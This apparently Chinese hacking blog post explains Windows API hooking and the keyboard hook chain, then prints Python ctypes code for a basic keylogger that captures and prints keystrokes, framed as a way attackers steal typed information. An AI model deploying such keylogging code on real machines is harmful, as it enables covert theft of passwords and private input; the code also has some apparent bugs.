社会工程学之黑客七宗罪——傲慢(Hooking)

前言

        至于这次我把Hooking(钩子)归类为傲慢,原因只有一点:自负只会导致不注重甚至忽略小错误,而小错误也可以将整个局面崩盘。

        显然,一部分黑客,或者说脚本小子,他们觉得自己超过了身边的人就是很厉害的高手了。

        但是他们不知道,其实黑客的路很长,甚至说没有尽头。

        止步不前,固步自封,自负傲慢,自我催眠,这样的黑客并不是好黑客,相对的,因为蔑视了一个小问题而导致整个局面崩盘的黑客,也不配成为黑客。

        就像Hooking一样,它只是一个钩子,很容易被发现,也很容易被防住,但就是很多人蔑视它,甚至某一部分黑客也不把它当回事,最终导致自己所键入的信息被盗走,然后无能狂怒。

        在我身边的这类人大多数都是瞧不起Hooking,却吃了Hooking的亏。

        所以说,希望大家无论做什么,都要认真面对,也不要停下呀~

        好啦,回归正题,刚才所说的Hooking到底是什么?它又是怎样的原理?

 

 

一、什么是Hooking(钩子)?

        王者荣耀应该很亲民吧~

        那么,记不记得我们钟馗大哥的钩子?

        就像他的钩子一样,回城钩,预判钩,偷袭钩,各种钩……

        现在,想象一下你自己就是那个钟馗,看准目标,放钩子,然后钩到对方英雄、小兵甚至是野怪……

        那么,如果把钩到的东西当作数据呢?

        你钩到数据,获取并看到了,甚至可以动手增删改,这就是在黑客攻防里的“钩子”。

        那么,如何实现一个钩子呢?

        

136ad6713697424281963829e4f67aa5.png

 

        在这里,为了更方便大家了解,以Windows为舟:

 

 

一、问题所在:钩子应该钩到哪里?

        首先,我们先不考虑钩子是怎么做出来的,考虑一下如果钩子做出来了应该钩到哪里?

        既然是钩子起码得有个挂的地方对吧~

        呐,在Windows里,有一个传输数据的重要组件,叫做“接口”:

        

接口(硬件类接口)是指同一计算机不同功能层之间的通信规则称为接口。 [1] 

接口(软件类接口)是指对协定进行定义的引用类型。其他类型实现接口,以保证它们支持某些操作。接口指定必须由类提供的成员或实现它的其他接口。与类相似,接口可以包含方法、属性、索引器和事件作为成员。

                                                                                                                        ——百度百科

        上述介绍中,我们可以知道接口分两种,一种是硬件类接口,一种是软件类接口。

        而如果你想成为物理黑客攻击硬件类接口,在后面我发表的文章里会提到的。

        那么,这篇文章中,要提及的是软件类接口。

        在Windows里接口可以说是很常见了,而大家最常用的一种,叫做API(应用程序接口)。

        

 

二、API到底是什么?

API之主要目的是提供应用程序与开发人员以访问一组例程的能力,而又无需访问源码,或理解内部工作机制的细节。提供API所定义的功能的软件称作此API的实现。API是一种接口,故而是一种抽象

应用程序接口英语Application Programming Interface,简称:API),又称为应用编程接口,就是软件系统不同组成部分衔接的约定。由于近年来软件的规模日益庞大,常常需要把复杂的系统划分成小的组成部分,编程接口的设计十分重要。程序设计的实践中,编程接口的设计首先要使软件系统的职责得到合理划分。良好的接口设计可以降低系统各部分的相互依赖,提高组成单元的内聚性,降低组成单元间的耦合程度,从而提高系统的维护性和扩展性。

                                                                                                                        ——百度百科

        这就是API的精准定义了。Windows API是微软提供的应用程序编程接口集合。开发应用程序时,需要通过API调用操作系统(内核)提供的丰富功能。基本上在Windows的各种程序中都会用到API,因此我会以API举例来阐述怎样设计钩子以及挂在API上。

        不过再此之前,我们不仅要了解API的定义,还要了解它的一些特性以及机制。

        呐,下面我们看图说话~:

         watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAUmVkaWNlLg==,size_20,color_FFFFFF,t_70,g_se,x_16

 

         从图中我们可以看出Windows API的基本架构了,而需要注意的是,在Win32 API中,拥有一些.dll文件,呐,这些.dll文件的作用是什么呢?

 

 

三、衍生问题:dll是个啥? 

        一般情况下,开发Windows应用程序时,往往要使用各种lib与DLL库。

        lib是静态库,在生成.exe文件时,它们会被包含到程序中。

        而DLL是动态链接库,只有应用程序运行的时候,才会被加载调用相应的一些。

        而Win32 API大部分以DLL动态链接库的形式存在,比如:

                1.kernel32.dll

                        提供对文件系统、设备、进程、线程等基本资源的访问功能。

                2.user32.dll

                        提供用户接口功能,其中包括创建、管理窗口,接受Windows消息,在屏幕上绘制文本,显示消息框。

                3.gdi32.dll

                        提供对显示器、打印机以及其他输出设备的管理功能。

                4.comdlg32.dll

                        提供打开文件、保存文件、选择颜色和字体等标准对话框管理功能。

                5.comctl32.dll

                        支持应用程序访问操作系统的状态条、进度条、工具条等功能。

                6.shell32.dll

                        支持应用程序访问操作系统shell提供的功能。

        (上述.dll文件如下图所示:)

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAUmVkaWNlLg==,size_6,color_FFFFFF,t_70,g_se,x_16

        除此之外,Win32 API还包含其他很多.dll文件,到这里不一一举例~

        (看作者这么辛苦就别折腾作者了~球球了~QAQ) 

0d5f00348f114baaaa7e6079484b080e.png

        而我们想设置钩子在Windows应用程序中,需要利用API这个东西,那么,我们该怎么利用它创建钩子呢?

0009e1d29610426cb29c64930e238721.png

 

 

四、准备前置 

1、老配方的老蟒蛇~(Python2.7)

                老蛇:嘶~(我又来啦~~~)

2、ctype 模块~

        在我们Python中,拥有一个可以简化动态库调用过程的模块叫做ctype。它支持复杂的C数据类型,提供低级函数。只要你遵守函数调用规定,它就可以帮你直接调用MSDN提供的API~

        (如下图所示)

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAUmVkaWNlLg==,size_20,color_FFFFFF,t_70,g_se,x_16

 

 

五、实战(以键盘钩取为例)

         由于钩子用法的多样性,在这里我们只以键盘钩取为例。

        在这里因为思路比较复杂不太好说,我直接上图~:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAUmVkaWNlLg==,size_20,color_FFFFFF,t_70,g_se,x_16

 

        设置好钩子以后,键盘输入消息进入线程队列时,调用钩子过程进行处理。

        对此图中编号的解释:

                (1)设置钩子:

                                通过user32.dll的SetWindowsHookExA()函数可以设置钩子,注册用于处理消息的钩子过程(回调函数)。

                (2)注册钩链:

                                钩链管理注册后的钩子过程,钩链的最前面注册有钩子过程的指针。然后,等待键盘输入类型的消息进入相关线程的队列。

                (3)键盘输入:

                                用户通过键盘键入信息。键盘控制器以计算机可识别的信号转换用户输入,并传递给键盘驱动程序。

                (4)系统队列:

                                来自键盘的消息进入操作系统管理得到系统队列,等待进入负责处理消息的线程队列。

                (5)线程队列:

                                消息进入处理线程队列以后,它们不会被发送到相应窗口,而是先发送给钩链中第一个指针所指的过程。

                (6)消息钩取:

                                来自线程队列的消息被传递给钩链中第一个指针所指的钩子过程。

                (7)钩子过程:

                                钩子过程接收消息,执行代码中的指定动作(这也就意味着黑客所编写的主要shell代码都在这里了)。处理结束后,将消息传递给钩链的下一个指针,此过程也称为“回调函数”。

                (8)钩链指针:

                                消息被依次传递给钩链中指针所指的钩子过程。最后一个钩子过程处理完消息后,将消息传递给原先指定的窗口。

 

        (注意:使用此思路的大前提是——目标计算机中未安装键盘安全程序!!!)

        如果把上述思路写成代码……在这里考虑到安全性(防止有脚本小子直接使用代码,给用户数据造成没必要的伤害)以及便利性,我以谷歌为例举出代码。

        当然,这里还有一点需要注意的是:既然钩子挂上了,如果它一直执行,是不是感觉怪怪的……

        因此要注意:最后要毁钩子!最后要毁钩子!最后要毁钩子!重要的事情说三遍!!!

        代码如下:

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

user32 = windll.user32
kernel32 = windll.kernel32

WM_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162


class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    def installHookProc(self, pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(
            WM_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )

    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None


def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)


def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
    hookedkey = chr(lParam[0])
    print hookedkey
    if CTRL_CODE == int(lParam[0]):
        print "Ctrl pressed, call uninstallHook()"
        KeyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)


def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)


KeyLogger = KeyLogger()
pointer = getFPTR(hookProc)

if KeyLogger.installHookProc(pointer):
    print "installed KeyLogger"

startKeyLog()

 

 

后序 

        还是那句话:此文章只供参考和学习,如果拿了这个东西干了什么坏事的话……违法我不追究,毕竟该审判你的不是我,是法律哦!!!~

                                                                                                                  ——Redice(Yatogami)
 

 

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Redice.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值